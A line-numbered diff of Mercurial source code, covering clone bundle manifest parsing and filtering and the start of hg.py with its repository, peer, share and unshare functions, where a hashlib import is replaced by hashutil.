2891
2893
2892 def parseclonebundlesmanifest(repo, s):
2894 def parseclonebundlesmanifest(repo, s):
2893 """Parses the raw text of a clone bundles manifest.
2895 """Parses the raw text of a clone bundles manifest.
2894
2896
2895 Returns a list of dicts. The dicts have a ``URL`` key corresponding
2897 Returns a list of dicts. The dicts have a ``URL`` key corresponding
2896 to the URL and other keys are the attributes for the entry.
2898 to the URL and other keys are the attributes for the entry.
2897 """
2899 """
2898 m = []
2900 m = []
2899 for line in s.splitlines():
2901 for line in s.splitlines():
2900 fields = line.split()
2902 fields = line.split()
2901 if not fields:
2903 if not fields:
2902 continue
2904 continue
2903 attrs = {b'URL': fields[0]}
2905 attrs = {b'URL': fields[0]}
2904 for rawattr in fields[1:]:
2906 for rawattr in fields[1:]:
2905 key, value = rawattr.split(b'=', 1)
2907 key, value = rawattr.split(b'=', 1)
2906 key = urlreq.unquote(key)
2908 key = urlreq.unquote(key)
2907 value = urlreq.unquote(value)
2909 value = urlreq.unquote(value)
2908 attrs[key] = value
2910 attrs[key] = value
2909
2911
2910 # Parse BUNDLESPEC into components. This makes client-side
2912 # Parse BUNDLESPEC into components. This makes client-side
2911 # preferences easier to specify since you can prefer a single
2913 # preferences easier to specify since you can prefer a single
2912 # component of the BUNDLESPEC.
2914 # component of the BUNDLESPEC.
2913 if key == b'BUNDLESPEC':
2915 if key == b'BUNDLESPEC':
2914 try:
2916 try:
2915 bundlespec = parsebundlespec(repo, value)
2917 bundlespec = parsebundlespec(repo, value)
2916 attrs[b'COMPRESSION'] = bundlespec.compression
2918 attrs[b'COMPRESSION'] = bundlespec.compression
2917 attrs[b'VERSION'] = bundlespec.version
2919 attrs[b'VERSION'] = bundlespec.version
2918 except error.InvalidBundleSpecification:
2920 except error.InvalidBundleSpecification:
2919 pass
2921 pass
2920 except error.UnsupportedBundleSpecification:
2922 except error.UnsupportedBundleSpecification:
2921 pass
2923 pass
2922
2924
2923 m.append(attrs)
2925 m.append(attrs)
2924
2926
2925 return m
2927 return m
2926
2928
2927
2929
2928 def isstreamclonespec(bundlespec):
2930 def isstreamclonespec(bundlespec):
2929 # Stream clone v1
2931 # Stream clone v1
2930 if bundlespec.wirecompression == b'UN' and bundlespec.wireversion == b's1':
2932 if bundlespec.wirecompression == b'UN' and bundlespec.wireversion == b's1':
2931 return True
2933 return True
2932
2934
2933 # Stream clone v2
2935 # Stream clone v2
2934 if (
2936 if (
2935 bundlespec.wirecompression == b'UN'
2937 bundlespec.wirecompression == b'UN'
2936 and bundlespec.wireversion == b'02'
2938 and bundlespec.wireversion == b'02'
2937 and bundlespec.contentopts.get(b'streamv2')
2939 and bundlespec.contentopts.get(b'streamv2')
2938 ):
2940 ):
2939 return True
2941 return True
2940
2942
2941 return False
2943 return False
2942
2944
2943
2945
2944 def filterclonebundleentries(repo, entries, streamclonerequested=False):
2946 def filterclonebundleentries(repo, entries, streamclonerequested=False):
2945 """Remove incompatible clone bundle manifest entries.
2947 """Remove incompatible clone bundle manifest entries.
2946
2948
2947 Accepts a list of entries parsed with ``parseclonebundlesmanifest``
2949 Accepts a list of entries parsed with ``parseclonebundlesmanifest``
2948 and returns a new list consisting of only the entries that this client
2950 and returns a new list consisting of only the entries that this client
2949 should be able to apply.
2951 should be able to apply.
2950
2952
2951 There is no guarantee we'll be able to apply all returned entries because
2953 There is no guarantee we'll be able to apply all returned entries because
2952 the metadata we use to filter on may be missing or wrong.
2954 the metadata we use to filter on may be missing or wrong.
2953 """
2955 """
2954 newentries = []
2956 newentries = []
2955 for entry in entries:
2957 for entry in entries:
2956 spec = entry.get(b'BUNDLESPEC')
2958 spec = entry.get(b'BUNDLESPEC')
2957 if spec:
2959 if spec:
2958 try:
2960 try:
2959 bundlespec = parsebundlespec(repo, spec, strict=True)
2961 bundlespec = parsebundlespec(repo, spec, strict=True)
2960
2962
2961 # If a stream clone was requested, filter out non-streamclone
2963 # If a stream clone was requested, filter out non-streamclone
2962 # entries.
2964 # entries.
2963 if streamclonerequested and not isstreamclonespec(bundlespec):
2965 if streamclonerequested and not isstreamclonespec(bundlespec):
2964 repo.ui.debug(
2966 repo.ui.debug(
2965 b'filtering %s because not a stream clone\n'
2967 b'filtering %s because not a stream clone\n'
2966 % entry[b'URL']
2968 % entry[b'URL']
2967 )
2969 )
2968 continue
2970 continue
2969
2971
2970 except error.InvalidBundleSpecification as e:
2972 except error.InvalidBundleSpecification as e:
2971 repo.ui.debug(stringutil.forcebytestr(e) + b'\n')
2973 repo.ui.debug(stringutil.forcebytestr(e) + b'\n')
2972 continue
2974 continue
2973 except error.UnsupportedBundleSpecification as e:
2975 except error.UnsupportedBundleSpecification as e:
2974 repo.ui.debug(
2976 repo.ui.debug(
2975 b'filtering %s because unsupported bundle '
2977 b'filtering %s because unsupported bundle '
2976 b'spec: %s\n' % (entry[b'URL'], stringutil.forcebytestr(e))
2978 b'spec: %s\n' % (entry[b'URL'], stringutil.forcebytestr(e))
2977 )
2979 )
2978 continue
2980 continue
2979 # If we don't have a spec and requested a stream clone, we don't know
2981 # If we don't have a spec and requested a stream clone, we don't know
2980 # what the entry is so don't attempt to apply it.
2982 # what the entry is so don't attempt to apply it.
2981 elif streamclonerequested:
2983 elif streamclonerequested:
2982 repo.ui.debug(
2984 repo.ui.debug(
2983 b'filtering %s because cannot determine if a stream '
2985 b'filtering %s because cannot determine if a stream '
2984 b'clone bundle\n' % entry[b'URL']
2986 b'clone bundle\n' % entry[b'URL']
2985 )
2987 )
2986 continue
2988 continue
2987
2989
2988 if b'REQUIRESNI' in entry and not sslutil.hassni:
2990 if b'REQUIRESNI' in entry and not sslutil.hassni:
2989 repo.ui.debug(
2991 repo.ui.debug(
2990 b'filtering %s because SNI not supported\n' % entry[b'URL']
2992 b'filtering %s because SNI not supported\n' % entry[b'URL']
2991 )
2993 )
2992 continue
2994 continue
2993
2995
2994 newentries.append(entry)
2996 newentries.append(entry)
2995
2997
2996 return newentries
2998 return newentries
2997
2999
2998
3000
2999 class clonebundleentry(object):
3001 class clonebundleentry(object):
3000 """Represents an item in a clone bundles manifest.
3002 """Represents an item in a clone bundles manifest.
3001
3003
3002 This rich class is needed to support sorting since sorted() in Python 3
3004 This rich class is needed to support sorting since sorted() in Python 3
3003 doesn't support ``cmp`` and our comparison is complex enough that ``key=``
3005 doesn't support ``cmp`` and our comparison is complex enough that ``key=``
3004 won't work.
3006 won't work.
3005 """
3007 """
3006
3008
3007 def __init__(self, value, prefers):
3009 def __init__(self, value, prefers):
3008 self.value = value
3010 self.value = value
3009 self.prefers = prefers
3011 self.prefers = prefers
3010
3012
3011 def _cmp(self, other):
3013 def _cmp(self, other):
3012 for prefkey, prefvalue in self.prefers:
3014 for prefkey, prefvalue in self.prefers:
3013 avalue = self.value.get(prefkey)
3015 avalue = self.value.get(prefkey)
3014 bvalue = other.value.get(prefkey)
3016 bvalue = other.value.get(prefkey)
3015
3017
3016 # Special case for b missing attribute and a matches exactly.
3018 # Special case for b missing attribute and a matches exactly.
3017 if avalue is not None and bvalue is None and avalue == prefvalue:
3019 if avalue is not None and bvalue is None and avalue == prefvalue:
3018 return -1
3020 return -1
3019
3021
3020 # Special case for a missing attribute and b matches exactly.
3022 # Special case for a missing attribute and b matches exactly.
3021 if bvalue is not None and avalue is None and bvalue == prefvalue:
3023 if bvalue is not None and avalue is None and bvalue == prefvalue:
3022 return 1
3024 return 1
3023
3025
3024 # We can't compare unless attribute present on both.
3026 # We can't compare unless attribute present on both.
3025 if avalue is None or bvalue is None:
3027 if avalue is None or bvalue is None:
3026 continue
3028 continue
3027
3029
3028 # Same values should fall back to next attribute.
3030 # Same values should fall back to next attribute.
3029 if avalue == bvalue:
3031 if avalue == bvalue:
3030 continue
3032 continue
3031
3033
3032 # Exact matches come first.
3034 # Exact matches come first.
3033 if avalue == prefvalue:
3035 if avalue == prefvalue:
3034 return -1
3036 return -1
3035 if bvalue == prefvalue:
3037 if bvalue == prefvalue:
3036 return 1
3038 return 1
3037
3039
3038 # Fall back to next attribute.
3040 # Fall back to next attribute.
3039 continue
3041 continue
3040
3042
3041 # If we got here we couldn't sort by attributes and prefers. Fall
3043 # If we got here we couldn't sort by attributes and prefers. Fall
3042 # back to index order.
3044 # back to index order.
3043 return 0
3045 return 0
3044
3046
3045 def __lt__(self, other):
3047 def __lt__(self, other):
3046 return self._cmp(other) < 0
3048 return self._cmp(other) < 0
3047
3049
3048 def __gt__(self, other):
3050 def __gt__(self, other):
3049 return self._cmp(other) > 0
3051 return self._cmp(other) > 0
3050
3052
3051 def __eq__(self, other):
3053 def __eq__(self, other):
3052 return self._cmp(other) == 0
3054 return self._cmp(other) == 0
3053
3055
3054 def __le__(self, other):
3056 def __le__(self, other):
3055 return self._cmp(other) <= 0
3057 return self._cmp(other) <= 0
3056
3058
3057 def __ge__(self, other):
3059 def __ge__(self, other):
3058 return self._cmp(other) >= 0
3060 return self._cmp(other) >= 0
3059
3061
3060 def __ne__(self, other):
3062 def __ne__(self, other):
3061 return self._cmp(other) != 0
3063 return self._cmp(other) != 0
3062
3064
3063
3065
3064 def sortclonebundleentries(ui, entries):
3066 def sortclonebundleentries(ui, entries):
3065 prefers = ui.configlist(b'ui', b'clonebundleprefers')
3067 prefers = ui.configlist(b'ui', b'clonebundleprefers')
3066 if not prefers:
3068 if not prefers:
3067 return list(entries)
3069 return list(entries)
3068
3070
3069 prefers = [p.split(b'=', 1) for p in prefers]
3071 prefers = [p.split(b'=', 1) for p in prefers]
3070
3072
3071 items = sorted(clonebundleentry(v, prefers) for v in entries)
3073 items = sorted(clonebundleentry(v, prefers) for v in entries)
3072 return [i.value for i in items]
3074 return [i.value for i in items]
3073
3075
3074
3076
3075 def trypullbundlefromurl(ui, repo, url):
3077 def trypullbundlefromurl(ui, repo, url):
3076 """Attempt to apply a bundle from a URL."""
3078 """Attempt to apply a bundle from a URL."""
3077 with repo.lock(), repo.transaction(b'bundleurl') as tr:
3079 with repo.lock(), repo.transaction(b'bundleurl') as tr:
3078 try:
3080 try:
3079 fh = urlmod.open(ui, url)
3081 fh = urlmod.open(ui, url)
3080 cg = readbundle(ui, fh, b'stream')
3082 cg = readbundle(ui, fh, b'stream')
3081
3083
3082 if isinstance(cg, streamclone.streamcloneapplier):
3084 if isinstance(cg, streamclone.streamcloneapplier):
3083 cg.apply(repo)
3085 cg.apply(repo)
3084 else:
3086 else:
3085 bundle2.applybundle(repo, cg, tr, b'clonebundles', url)
3087 bundle2.applybundle(repo, cg, tr, b'clonebundles', url)
3086 return True
3088 return True
3087 except urlerr.httperror as e:
3089 except urlerr.httperror as e:
3088 ui.warn(
3090 ui.warn(
3089 _(b'HTTP error fetching bundle: %s\n')
3091 _(b'HTTP error fetching bundle: %s\n')
3090 % stringutil.forcebytestr(e)
3092 % stringutil.forcebytestr(e)
3091 )
3093 )
3092 except urlerr.urlerror as e:
3094 except urlerr.urlerror as e:
3093 ui.warn(
3095 ui.warn(
3094 _(b'error fetching bundle: %s\n')
3096 _(b'error fetching bundle: %s\n')
3095 % stringutil.forcebytestr(e.reason)
3097 % stringutil.forcebytestr(e.reason)
3096 )
3098 )
3097
3099
3098 return False
3100 return False
@@ -1,1460 +1,1459
1 # hg.py - repository classes for mercurial
1 # hg.py - repository classes for mercurial
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 from __future__ import absolute_import
9 from __future__ import absolute_import
10
10
11 import errno
11 import errno
12 import hashlib
13 import os
12 import os
14 import shutil
13 import shutil
15 import stat
14 import stat
16
15
17 from .i18n import _
16 from .i18n import _
18 from .node import nullid
17 from .node import nullid
19 from .pycompat import getattr
18 from .pycompat import getattr
20
19
21 from . import (
20 from . import (
22 bookmarks,
21 bookmarks,
23 bundlerepo,
22 bundlerepo,
24 cacheutil,
23 cacheutil,
25 cmdutil,
24 cmdutil,
26 destutil,
25 destutil,
27 discovery,
26 discovery,
28 error,
27 error,
29 exchange,
28 exchange,
30 extensions,
29 extensions,
31 httppeer,
30 httppeer,
32 localrepo,
31 localrepo,
33 lock,
32 lock,
34 logcmdutil,
33 logcmdutil,
35 logexchange,
34 logexchange,
36 merge as mergemod,
35 merge as mergemod,
37 narrowspec,
36 narrowspec,
38 node,
37 node,
39 phases,
38 phases,
40 pycompat,
39 pycompat,
41 scmutil,
40 scmutil,
42 sshpeer,
41 sshpeer,
43 statichttprepo,
42 statichttprepo,
44 ui as uimod,
43 ui as uimod,
45 unionrepo,
44 unionrepo,
46 url,
45 url,
47 util,
46 util,
48 verify as verifymod,
47 verify as verifymod,
49 vfs as vfsmod,
48 vfs as vfsmod,
50 )
49 )
51
50 from .utils import hashutil
52 from .interfaces import repository as repositorymod
51 from .interfaces import repository as repositorymod
53
52
54 release = lock.release
53 release = lock.release
55
54
56 # shared features
55 # shared features
57 sharedbookmarks = b'bookmarks'
56 sharedbookmarks = b'bookmarks'
58
57
59
58
60 def _local(path):
59 def _local(path):
61 path = util.expandpath(util.urllocalpath(path))
60 path = util.expandpath(util.urllocalpath(path))
62
61
63 try:
62 try:
64 isfile = os.path.isfile(path)
63 isfile = os.path.isfile(path)
65 # Python 2 raises TypeError, Python 3 ValueError.
64 # Python 2 raises TypeError, Python 3 ValueError.
66 except (TypeError, ValueError) as e:
65 except (TypeError, ValueError) as e:
67 raise error.Abort(
66 raise error.Abort(
68 _(b'invalid path %s: %s') % (path, pycompat.bytestr(e))
67 _(b'invalid path %s: %s') % (path, pycompat.bytestr(e))
69 )
68 )
70
69
71 return isfile and bundlerepo or localrepo
70 return isfile and bundlerepo or localrepo
72
71
73
72
74 def addbranchrevs(lrepo, other, branches, revs):
73 def addbranchrevs(lrepo, other, branches, revs):
75 peer = other.peer() # a courtesy to callers using a localrepo for other
74 peer = other.peer() # a courtesy to callers using a localrepo for other
76 hashbranch, branches = branches
75 hashbranch, branches = branches
77 if not hashbranch and not branches:
76 if not hashbranch and not branches:
78 x = revs or None
77 x = revs or None
79 if revs:
78 if revs:
80 y = revs[0]
79 y = revs[0]
81 else:
80 else:
82 y = None
81 y = None
83 return x, y
82 return x, y
84 if revs:
83 if revs:
85 revs = list(revs)
84 revs = list(revs)
86 else:
85 else:
87 revs = []
86 revs = []
88
87
89 if not peer.capable(b'branchmap'):
88 if not peer.capable(b'branchmap'):
90 if branches:
89 if branches:
91 raise error.Abort(_(b"remote branch lookup not supported"))
90 raise error.Abort(_(b"remote branch lookup not supported"))
92 revs.append(hashbranch)
91 revs.append(hashbranch)
93 return revs, revs[0]
92 return revs, revs[0]
94
93
95 with peer.commandexecutor() as e:
94 with peer.commandexecutor() as e:
96 branchmap = e.callcommand(b'branchmap', {}).result()
95 branchmap = e.callcommand(b'branchmap', {}).result()
97
96
98 def primary(branch):
97 def primary(branch):
99 if branch == b'.':
98 if branch == b'.':
100 if not lrepo:
99 if not lrepo:
101 raise error.Abort(_(b"dirstate branch not accessible"))
100 raise error.Abort(_(b"dirstate branch not accessible"))
102 branch = lrepo.dirstate.branch()
101 branch = lrepo.dirstate.branch()
103 if branch in branchmap:
102 if branch in branchmap:
104 revs.extend(node.hex(r) for r in reversed(branchmap[branch]))
103 revs.extend(node.hex(r) for r in reversed(branchmap[branch]))
105 return True
104 return True
106 else:
105 else:
107 return False
106 return False
108
107
109 for branch in branches:
108 for branch in branches:
110 if not primary(branch):
109 if not primary(branch):
111 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
110 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
112 if hashbranch:
111 if hashbranch:
113 if not primary(hashbranch):
112 if not primary(hashbranch):
114 revs.append(hashbranch)
113 revs.append(hashbranch)
115 return revs, revs[0]
114 return revs, revs[0]
116
115
117
116
118 def parseurl(path, branches=None):
117 def parseurl(path, branches=None):
119 '''parse url#branch, returning (url, (branch, branches))'''
118 '''parse url#branch, returning (url, (branch, branches))'''
120
119
121 u = util.url(path)
120 u = util.url(path)
122 branch = None
121 branch = None
123 if u.fragment:
122 if u.fragment:
124 branch = u.fragment
123 branch = u.fragment
125 u.fragment = None
124 u.fragment = None
126 return bytes(u), (branch, branches or [])
125 return bytes(u), (branch, branches or [])
127
126
128
127
129 schemes = {
128 schemes = {
130 b'bundle': bundlerepo,
129 b'bundle': bundlerepo,
131 b'union': unionrepo,
130 b'union': unionrepo,
132 b'file': _local,
131 b'file': _local,
133 b'http': httppeer,
132 b'http': httppeer,
134 b'https': httppeer,
133 b'https': httppeer,
135 b'ssh': sshpeer,
134 b'ssh': sshpeer,
136 b'static-http': statichttprepo,
135 b'static-http': statichttprepo,
137 }
136 }
138
137
139
138
140 def _peerlookup(path):
139 def _peerlookup(path):
141 u = util.url(path)
140 u = util.url(path)
142 scheme = u.scheme or b'file'
141 scheme = u.scheme or b'file'
143 thing = schemes.get(scheme) or schemes[b'file']
142 thing = schemes.get(scheme) or schemes[b'file']
144 try:
143 try:
145 return thing(path)
144 return thing(path)
146 except TypeError:
145 except TypeError:
147 # we can't test callable(thing) because 'thing' can be an unloaded
146 # we can't test callable(thing) because 'thing' can be an unloaded
148 # module that implements __call__
147 # module that implements __call__
149 if not util.safehasattr(thing, b'instance'):
148 if not util.safehasattr(thing, b'instance'):
150 raise
149 raise
151 return thing
150 return thing
152
151
153
152
154 def islocal(repo):
153 def islocal(repo):
155 '''return true if repo (or path pointing to repo) is local'''
154 '''return true if repo (or path pointing to repo) is local'''
156 if isinstance(repo, bytes):
155 if isinstance(repo, bytes):
157 try:
156 try:
158 return _peerlookup(repo).islocal(repo)
157 return _peerlookup(repo).islocal(repo)
159 except AttributeError:
158 except AttributeError:
160 return False
159 return False
161 return repo.local()
160 return repo.local()
162
161
163
162
164 def openpath(ui, path, sendaccept=True):
163 def openpath(ui, path, sendaccept=True):
165 '''open path with open if local, url.open if remote'''
164 '''open path with open if local, url.open if remote'''
166 pathurl = util.url(path, parsequery=False, parsefragment=False)
165 pathurl = util.url(path, parsequery=False, parsefragment=False)
167 if pathurl.islocal():
166 if pathurl.islocal():
168 return util.posixfile(pathurl.localpath(), b'rb')
167 return util.posixfile(pathurl.localpath(), b'rb')
169 else:
168 else:
170 return url.open(ui, path, sendaccept=sendaccept)
169 return url.open(ui, path, sendaccept=sendaccept)
171
170
172
171
173 # a list of (ui, repo) functions called for wire peer initialization
172 # a list of (ui, repo) functions called for wire peer initialization
174 wirepeersetupfuncs = []
173 wirepeersetupfuncs = []
175
174
176
175
177 def _peerorrepo(
176 def _peerorrepo(
178 ui, path, create=False, presetupfuncs=None, intents=None, createopts=None
177 ui, path, create=False, presetupfuncs=None, intents=None, createopts=None
179 ):
178 ):
180 """return a repository object for the specified path"""
179 """return a repository object for the specified path"""
181 obj = _peerlookup(path).instance(
180 obj = _peerlookup(path).instance(
182 ui, path, create, intents=intents, createopts=createopts
181 ui, path, create, intents=intents, createopts=createopts
183 )
182 )
184 ui = getattr(obj, "ui", ui)
183 ui = getattr(obj, "ui", ui)
185 for f in presetupfuncs or []:
184 for f in presetupfuncs or []:
186 f(ui, obj)
185 f(ui, obj)
187 ui.log(b'extension', b'- executing reposetup hooks\n')
186 ui.log(b'extension', b'- executing reposetup hooks\n')
188 with util.timedcm('all reposetup') as allreposetupstats:
187 with util.timedcm('all reposetup') as allreposetupstats:
189 for name, module in extensions.extensions(ui):
188 for name, module in extensions.extensions(ui):
190 ui.log(b'extension', b' - running reposetup for %s\n', name)
189 ui.log(b'extension', b' - running reposetup for %s\n', name)
191 hook = getattr(module, 'reposetup', None)
190 hook = getattr(module, 'reposetup', None)
192 if hook:
191 if hook:
193 with util.timedcm('reposetup %r', name) as stats:
192 with util.timedcm('reposetup %r', name) as stats:
194 hook(ui, obj)
193 hook(ui, obj)
195 ui.log(
194 ui.log(
196 b'extension', b' > reposetup for %s took %s\n', name, stats
195 b'extension', b' > reposetup for %s took %s\n', name, stats
197 )
196 )
198 ui.log(b'extension', b'> all reposetup took %s\n', allreposetupstats)
197 ui.log(b'extension', b'> all reposetup took %s\n', allreposetupstats)
199 if not obj.local():
198 if not obj.local():
200 for f in wirepeersetupfuncs:
199 for f in wirepeersetupfuncs:
201 f(ui, obj)
200 f(ui, obj)
202 return obj
201 return obj
203
202
204
203
205 def repository(
204 def repository(
206 ui,
205 ui,
207 path=b'',
206 path=b'',
208 create=False,
207 create=False,
209 presetupfuncs=None,
208 presetupfuncs=None,
210 intents=None,
209 intents=None,
211 createopts=None,
210 createopts=None,
212 ):
211 ):
213 """return a repository object for the specified path"""
212 """return a repository object for the specified path"""
214 peer = _peerorrepo(
213 peer = _peerorrepo(
215 ui,
214 ui,
216 path,
215 path,
217 create,
216 create,
218 presetupfuncs=presetupfuncs,
217 presetupfuncs=presetupfuncs,
219 intents=intents,
218 intents=intents,
220 createopts=createopts,
219 createopts=createopts,
221 )
220 )
222 repo = peer.local()
221 repo = peer.local()
223 if not repo:
222 if not repo:
224 raise error.Abort(
223 raise error.Abort(
225 _(b"repository '%s' is not local") % (path or peer.url())
224 _(b"repository '%s' is not local") % (path or peer.url())
226 )
225 )
227 return repo.filtered(b'visible')
226 return repo.filtered(b'visible')
228
227
229
228
230 def peer(uiorrepo, opts, path, create=False, intents=None, createopts=None):
229 def peer(uiorrepo, opts, path, create=False, intents=None, createopts=None):
231 '''return a repository peer for the specified path'''
230 '''return a repository peer for the specified path'''
232 rui = remoteui(uiorrepo, opts)
231 rui = remoteui(uiorrepo, opts)
233 return _peerorrepo(
232 return _peerorrepo(
234 rui, path, create, intents=intents, createopts=createopts
233 rui, path, create, intents=intents, createopts=createopts
235 ).peer()
234 ).peer()
236
235
237
236
238 def defaultdest(source):
237 def defaultdest(source):
239 '''return default destination of clone if none is given
238 '''return default destination of clone if none is given
240
239
241 >>> defaultdest(b'foo')
240 >>> defaultdest(b'foo')
242 'foo'
241 'foo'
243 >>> defaultdest(b'/foo/bar')
242 >>> defaultdest(b'/foo/bar')
244 'bar'
243 'bar'
245 >>> defaultdest(b'/')
244 >>> defaultdest(b'/')
246 ''
245 ''
247 >>> defaultdest(b'')
246 >>> defaultdest(b'')
248 ''
247 ''
249 >>> defaultdest(b'http://example.org/')
248 >>> defaultdest(b'http://example.org/')
250 ''
249 ''
251 >>> defaultdest(b'http://example.org/foo/')
250 >>> defaultdest(b'http://example.org/foo/')
252 'foo'
251 'foo'
253 '''
252 '''
254 path = util.url(source).path
253 path = util.url(source).path
255 if not path:
254 if not path:
256 return b''
255 return b''
257 return os.path.basename(os.path.normpath(path))
256 return os.path.basename(os.path.normpath(path))
258
257
259
258
260 def sharedreposource(repo):
259 def sharedreposource(repo):
261 """Returns repository object for source repository of a shared repo.
260 """Returns repository object for source repository of a shared repo.
262
261
263 If repo is not a shared repository, returns None.
262 If repo is not a shared repository, returns None.
264 """
263 """
265 if repo.sharedpath == repo.path:
264 if repo.sharedpath == repo.path:
266 return None
265 return None
267
266
268 if util.safehasattr(repo, b'srcrepo') and repo.srcrepo:
267 if util.safehasattr(repo, b'srcrepo') and repo.srcrepo:
269 return repo.srcrepo
268 return repo.srcrepo
270
269
271 # the sharedpath always ends in the .hg; we want the path to the repo
270 # the sharedpath always ends in the .hg; we want the path to the repo
272 source = repo.vfs.split(repo.sharedpath)[0]
271 source = repo.vfs.split(repo.sharedpath)[0]
273 srcurl, branches = parseurl(source)
272 srcurl, branches = parseurl(source)
274 srcrepo = repository(repo.ui, srcurl)
273 srcrepo = repository(repo.ui, srcurl)
275 repo.srcrepo = srcrepo
274 repo.srcrepo = srcrepo
276 return srcrepo
275 return srcrepo
277
276
278
277
279 def share(
278 def share(
280 ui,
279 ui,
281 source,
280 source,
282 dest=None,
281 dest=None,
283 update=True,
282 update=True,
284 bookmarks=True,
283 bookmarks=True,
285 defaultpath=None,
284 defaultpath=None,
286 relative=False,
285 relative=False,
287 ):
286 ):
288 '''create a shared repository'''
287 '''create a shared repository'''
289
288
290 if not islocal(source):
289 if not islocal(source):
291 raise error.Abort(_(b'can only share local repositories'))
290 raise error.Abort(_(b'can only share local repositories'))
292
291
293 if not dest:
292 if not dest:
294 dest = defaultdest(source)
293 dest = defaultdest(source)
295 else:
294 else:
296 dest = ui.expandpath(dest)
295 dest = ui.expandpath(dest)
297
296
298 if isinstance(source, bytes):
297 if isinstance(source, bytes):
299 origsource = ui.expandpath(source)
298 origsource = ui.expandpath(source)
300 source, branches = parseurl(origsource)
299 source, branches = parseurl(origsource)
301 srcrepo = repository(ui, source)
300 srcrepo = repository(ui, source)
302 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
301 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
303 else:
302 else:
304 srcrepo = source.local()
303 srcrepo = source.local()
305 checkout = None
304 checkout = None
306
305
307 shareditems = set()
306 shareditems = set()
308 if bookmarks:
307 if bookmarks:
309 shareditems.add(sharedbookmarks)
308 shareditems.add(sharedbookmarks)
310
309
311 r = repository(
310 r = repository(
312 ui,
311 ui,
313 dest,
312 dest,
314 create=True,
313 create=True,
315 createopts={
314 createopts={
316 b'sharedrepo': srcrepo,
315 b'sharedrepo': srcrepo,
317 b'sharedrelative': relative,
316 b'sharedrelative': relative,
318 b'shareditems': shareditems,
317 b'shareditems': shareditems,
319 },
318 },
320 )
319 )
321
320
322 postshare(srcrepo, r, defaultpath=defaultpath)
321 postshare(srcrepo, r, defaultpath=defaultpath)
323 r = repository(ui, dest)
322 r = repository(ui, dest)
324 _postshareupdate(r, update, checkout=checkout)
323 _postshareupdate(r, update, checkout=checkout)
325 return r
324 return r
326
325
327
326
328 def unshare(ui, repo):
327 def unshare(ui, repo):
329 """convert a shared repository to a normal one
328 """convert a shared repository to a normal one
330
329
331 Copy the store data to the repo and remove the sharedpath data.
330 Copy the store data to the repo and remove the sharedpath data.
332
331
333 Returns a new repository object representing the unshared repository.
332 Returns a new repository object representing the unshared repository.
334
333
335 The passed repository object is not usable after this function is
334 The passed repository object is not usable after this function is
336 called.
335 called.
337 """
336 """
338
337
339 with repo.lock():
338 with repo.lock():
340 # we use locks here because if we race with commit, we
339 # we use locks here because if we race with commit, we
341 # can end up with extra data in the cloned revlogs that's
340 # can end up with extra data in the cloned revlogs that's
342 # not pointed to by changesets, thus causing verify to
341 # not pointed to by changesets, thus causing verify to
343 # fail
342 # fail
344 destlock = copystore(ui, repo, repo.path)
343 destlock = copystore(ui, repo, repo.path)
345 with destlock or util.nullcontextmanager():
344 with destlock or util.nullcontextmanager():
346
345
347 sharefile = repo.vfs.join(b'sharedpath')
346 sharefile = repo.vfs.join(b'sharedpath')
348 util.rename(sharefile, sharefile + b'.old')
347 util.rename(sharefile, sharefile + b'.old')
349
348
350 repo.requirements.discard(b'shared')
349 repo.requirements.discard(b'shared')
351 repo.requirements.discard(b'relshared')
350 repo.requirements.discard(b'relshared')
352 repo._writerequirements()
351 repo._writerequirements()
353
352
354 # Removing share changes some fundamental properties of the repo instance.
353 # Removing share changes some fundamental properties of the repo instance.
355 # So we instantiate a new repo object and operate on it rather than
354 # So we instantiate a new repo object and operate on it rather than
356 # try to keep the existing repo usable.
355 # try to keep the existing repo usable.
357 newrepo = repository(repo.baseui, repo.root, create=False)
356 newrepo = repository(repo.baseui, repo.root, create=False)
358
357
359 # TODO: figure out how to access subrepos that exist, but were previously
358 # TODO: figure out how to access subrepos that exist, but were previously
360 # removed from .hgsub
359 # removed from .hgsub
361 c = newrepo[b'.']
360 c = newrepo[b'.']
362 subs = c.substate
361 subs = c.substate
363 for s in sorted(subs):
362 for s in sorted(subs):
364 c.sub(s).unshare()
363 c.sub(s).unshare()
365
364
366 localrepo.poisonrepository(repo)
365 localrepo.poisonrepository(repo)
367
366
368 return newrepo
367 return newrepo
369
368
370
369
371 def postshare(sourcerepo, destrepo, defaultpath=None):
370 def postshare(sourcerepo, destrepo, defaultpath=None):
372 """Called after a new shared repo is created.
371 """Called after a new shared repo is created.
373
372
374 The new repo only has a requirements file and pointer to the source.
373 The new repo only has a requirements file and pointer to the source.
375 This function configures additional shared data.
374 This function configures additional shared data.
376
375
377 Extensions can wrap this function and write additional entries to
376 Extensions can wrap this function and write additional entries to
378 destrepo/.hg/shared to indicate additional pieces of data to be shared.
377 destrepo/.hg/shared to indicate additional pieces of data to be shared.
379 """
378 """
380 default = defaultpath or sourcerepo.ui.config(b'paths', b'default')
379 default = defaultpath or sourcerepo.ui.config(b'paths', b'default')
381 if default:
380 if default:
382 template = b'[paths]\ndefault = %s\n'
381 template = b'[paths]\ndefault = %s\n'
383 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % default))
382 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % default))
384 if repositorymod.NARROW_REQUIREMENT in sourcerepo.requirements:
383 if repositorymod.NARROW_REQUIREMENT in sourcerepo.requirements:
385 with destrepo.wlock():
384 with destrepo.wlock():
386 narrowspec.copytoworkingcopy(destrepo)
385 narrowspec.copytoworkingcopy(destrepo)
387
386
388
387
389 def _postshareupdate(repo, update, checkout=None):
388 def _postshareupdate(repo, update, checkout=None):
390 """Maybe perform a working directory update after a shared repo is created.
389 """Maybe perform a working directory update after a shared repo is created.
391
390
392 ``update`` can be a boolean or a revision to update to.
391 ``update`` can be a boolean or a revision to update to.
393 """
392 """
394 if not update:
393 if not update:
395 return
394 return
396
395
397 repo.ui.status(_(b"updating working directory\n"))
396 repo.ui.status(_(b"updating working directory\n"))
398 if update is not True:
397 if update is not True:
